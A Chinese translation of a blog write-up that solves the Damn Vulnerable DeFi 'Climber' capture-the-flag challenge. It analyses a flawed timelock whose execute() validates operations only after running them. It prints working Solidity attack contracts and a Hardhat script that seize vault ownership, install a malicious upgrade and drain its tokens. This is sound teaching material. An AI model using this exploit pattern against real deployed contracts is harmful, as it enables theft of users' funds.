Damn Vulnerable DeFi Climber 解决方案

  • Dacian
  • 发布于 2023-02-04 13:14
  • 阅读 6

本文分析了Damn Vulnerable DeFi的Climber挑战,重点在于ClimberTimelock合约的漏洞,该漏洞允许攻击者执行任意代码。

Climber v3 的特性是一个使用 UUPS 代理模式 部署的金库,其中持有我们必须耗尽的 tokens。该金库由一个 Timelock 拥有,该 Timelock 实现了访问控制,并且可以调度和执行任意代码。

代码概览

合约漏洞分析 - ClimberTimelock.sol

ClimberTimelock.sol 有 3 个外部函数:schedule()、execute() 和 updateDelay():

  • schedule() - 允许 PROPOSER_ROLE 调度任意代码执行 - 使用计划的操作填充存储 ClimberTimelockBase.operations。

  • execute() - 执行先前计划的任意代码()。可以被任何人调用!

  • updateDelay() - 更新存储 ClimberTimelockBase.delay;操作可以被调度和执行之间的时间间隔。需要 msg.sender == address(ClimberTimelock)

在 ClimberTimelock.execute() 中立即显现出主要的危险信号:

/**
 * 任何人都可以执行通过 `schedule` 调度的内容
 */
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
    external
    payable
{
    if (targets.length <= MIN_TARGETS) {
        revert InvalidTargetsCount();
    }

    if (targets.length != values.length) {
        revert InvalidValuesCount();
    }

    if (targets.length != dataElements.length) {
        revert InvalidDataElementsCount();
    }

    bytes32 id = getOperationId(targets, values, dataElements, salt);

    for (uint8 i = 0; i < targets.length;) {
        targets[i].functionCallWithValue(dataElements[i], values[i]);
        unchecked {
            ++i;
        }
    }

    // @audit 此检查应在执行之上,因为它检查
    // ClimberTimeLockBase.operations 是否包含操作 id。
    if (getOperationState(id) != OperationState.ReadyForExecution) {
        revert NotReadyForExecution(id);
    }

    operations[id].executed = true;
}

ClimberTimelock.execute() 将执行所有作为函数输入提供的操作,并且只有在之后才会检查这些操作是否存在于 ClimberTimelockBase.operations 中,并且具有准备好执行的 OperationState。由于 ClimberTimelock.execute() 可以被任何人调用,因此攻击者可能能够执行一系列恶意的操作,这些操作也会填充存储 ClimberTimelockBase.operations 以在这些操作执行通过检查。

然而,攻击者如何调用 ClimberTimelock.schedule() 呢,因为只有 PROPOSER_ROLE 才能调用 ClimberTimelock.schedule()?在 ClimberTimelock.constructor() 中,我们看到 ClimberTimelock 具有 ADMIN_ROLE,并且 ADMIN_ROLE 被设置为 PROPOSER_ROLE 的 admin,因此 ADMIN_ROLE 可以向 PROPOSER_ROLE 添加新地址:

contract ClimberTimelock is ClimberTimelockBase {
    using Address for address;

    /**
     * @notice 角色和时间锁延迟的初始设置。
     * @param admin 将持有 ADMIN_ROLE 角色的帐户的地址
     * @param proposer 将持有 PROPOSER_ROLE 角色的帐户的地址
     */
    constructor(address admin, address proposer) {
        _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
        // @audit 使 ADMIN_ROLE 成为 PROPOSER_ROLE 的 admin
        _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
        _setupRole(ADMIN_ROLE, admin);
        // @audit 赋予 ClimberTimelock ADMIN_ROLE。因此
        // ClimberTimelock 可以将 PROPOSER_ROLE 赋予其他地址
        _setupRole(ADMIN_ROLE, address(this)); // 自管理
        _setupRole(PROPOSER_ROLE, proposer);

        delay = 1 hours;
    }

这允许攻击者在调用 ClimberTimelock.execute() 时,让他们的一个操作调用 AccessControl.grantRole() 以将 PROPOSER_ROLE 授予他们的攻击合约,然后让另一个操作调用其攻击合约中的一个函数,该函数将调用 ClimberTimelock.schedule() 以填充 ClimberTimelock.operations。攻击者还可以让一个操作调用 ClimberTimelock.updateDelay() 以设置 ClimberTimelockBase.delay = 0,从而绕过 ClimberTimelockBase.getOperationState() 检查。

我们现在在 ClimberTimelock 中发现了一个很大的漏洞,它允许我们使 ClimberTimelock 执行我们可以控制其输入的任意函数序列。下一个挑战是将此漏洞发展为一个更大的漏洞,该漏洞能够耗尽 tokens。

合约漏洞分析 - ClimberVault.sol

将注意力转向 ClimberVault,我们看到 ClimberVault.initialize() 将 ClimberVault 的所有权转移给 ClimberTimelock。由于我们可以让 ClimberTimelock 执行我们喜欢的任何操作,因此我们可以让它在 ClimberVault 上调用 OwnableUpgradeable.transferOwnership(),以将 ClimberVault 的所有权转移给我们自己。

function initialize(address admin, address proposer, address sweeper) external initializer {
    // 初始化继承链
    __Ownable_init();
    __UUPSUpgradeable_init();

    // @audit ClimberTimelock 成为 ClimberVault 的所有者。如果我们能够
    // 控制 ClimberTimelock,我们可以窃取 ClimberVault 的所有权
    // 然后升级 ClimberVault 以以允许我们耗尽 tokens 的方式重新实现 sweepFunds()
    transferOwnership(address(new ClimberTimelock(admin, proposer)));

    _setSweeper(sweeper);
    _updateLastWithdrawalTimestamp(block.timestamp);
}

作为 ClimberVault 的所有者,我们能够升级合约以重新实现 sweepFunds() 函数,从而让我们窃取 tokens。我们现在已经将我们的原始漏洞发展到我们可以耗尽 tokens 的程度,剩下的就是将它们放在一起。

漏洞利用实现

我们将我们的攻击合约附加到 ClimberVault.sol 的底部:

contract ClimberVaultAttack {
    address payable immutable climberTimeLock;

    // ClimberTimelock.execute() & ClimberTimelock.schedule() 的参数
    address[] targets      = new address[](4);
    uint256[] values       = [0,0,0,0];
    bytes[]   dataElements = new bytes[](4);
    bytes32   salt         = bytes32("!.^.0.0.^.!");

    constructor(address payable _climberTimeLock, address _climberVault) {
        climberTimeLock = _climberTimeLock;

        // 将由 ClimberTimelock.execute() 在其上调用函数 + 参数 payload 的地址
        targets[0]      = climberTimeLock;
        targets[1]      = _climberVault;
        targets[2]      = climberTimeLock;
        targets[3]      = address(this);

        // 第一个 payload 调用 ClimberTimelock.delay()
        dataElements[0] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, 0);
        // 第二个 payload 调用 ClimberVault.transferOwnership()
        dataElements[1] = abi.encodeWithSelector(OwnableUpgradeable.transferOwnership.selector, msg.sender);
        // 第三个 payload 调用 ClimberTimelock.grantRole()
        dataElements[2] = abi.encodeWithSelector(AccessControl.grantRole.selector,
                                                 PROPOSER_ROLE, address(this));
        // 第四个 payload 调用 ClimberVaultAttack.corruptSchedule()
        // 我试图让它直接调用 ClimberTimelock.schedule(),但这导致了不同的 ClimberTimelockBase.getOperationId(),因为 dataElements 的最后一个元素在 ClimberTimelock.execute() 中可见,但在
        // ClimberTimelock.schedule() 中不可见。而是调用回
        // 攻击合约中的函数并让其调用 ClimberTimelock.schedule() 可以
        // 解决这个问题
        dataElements[3] = abi.encodeWithSelector(ClimberVaultAttack.corruptSchedule.selector);
    }

    function corruptSchedule() external {
        ClimberTimelock(climberTimeLock).schedule(targets, values, dataElements, salt);
    }

    function attack() external {
        ClimberTimelock(climberTimeLock).execute(targets, values, dataElements, salt);
    }
}

// 一旦攻击者拥有 ClimberVault 的所有权,他们将升级到
// 此版本,该版本修改了 sweepFunds() 以允许所有者耗尽 tokens
contract ClimberVaultAttackUpgrade is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    // 必须保留存储布局,否则升级将失败
    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize(address, address, address) external initializer {
        // 初始化继承链
        __Ownable_init();
        __UUPSUpgradeable_init();
    }

    // 已更改为仅允许所有者耗尽资金
    function sweepFunds(address token) external onlyOwner {
        SafeTransferLib.safeTransfer(token, msg.sender, IERC20(token).balanceOf(address(this)));
    }

    // 阻止除攻击者之外的任何人进行进一步的升级
    function _authorizeUpgrade(address) internal override onlyOwner {}
}

然后修改 climber.challenge.js 以调用我们的攻击合约:

it('Execution', async function () {
    /** 在此处编写你的解决方案 */
    attacker = await (await ethers.getContractFactory('ClimberVaultAttack', player)).deploy(
        timelock.address, vault.address
    );

    await attacker.attack();

    upgradedClimberVault = await upgrades.upgradeProxy(
        vault.address,
        await ethers.getContractFactory("ClimberVaultAttackUpgrade", player));

    await upgradedClimberVault.connect(player).sweepFunds(token.address);
});

并通过运行 npx hardhat test --grep "Climber" 验证我们的解决方案是否有效

我们现在已经完全耗尽了 ClimberVault,我们的漏洞利用已完成!在我的 Damn Vulnerable Defi Solutions 存储库中查看完整代码。

10

  • 原文链接: dacian.me/damn-vulnerabl...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Dacian
Dacian
in your storage